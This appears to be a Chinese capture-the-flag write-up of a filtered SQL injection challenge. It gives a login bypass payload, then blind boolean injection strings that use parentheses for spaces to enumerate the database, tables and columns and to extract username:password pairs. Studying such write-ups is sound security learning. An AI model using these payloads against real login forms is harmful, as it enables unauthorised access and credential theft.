SELECT id FROM table_name WHERE username=input1 AND password=input2;
发现过滤了空格比较符号和大部分函数名,但是没有过滤关键字。使用
1'OR(true)#
万能密码尝试登录,显示登录成功,判断可以进行布尔盲注。
构造如下语句,更改left参数与减去的字符检测数据库名。
1'OR(ord(right(left(database(),1),1))-ord('a'))#
得出数据库名"geek"。
然后使用MySQL可以用括号替代空格的特性,使用 GROUP_CONCAT 查询表名,语句如下:
1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(table_name))FROM(information_schema.tables)WHERE(table_schema)like('geek')),1),1))-ORD('a'))#
查询列名:
1'OR(ORD(RIGHT(LEFT((SELECT(group_concat(column_name))FROM(information_schema.columns)WHERE(table_name)like('H4rDsq1')),1),1))-ORD('a'))#
查询数据库:
1'OR(ORD(RIGHT(LEFT((SELECT(GROUP_CONCAT(username,':',password))FROM(H4rDsq1)),1),1))-ORD('a'))#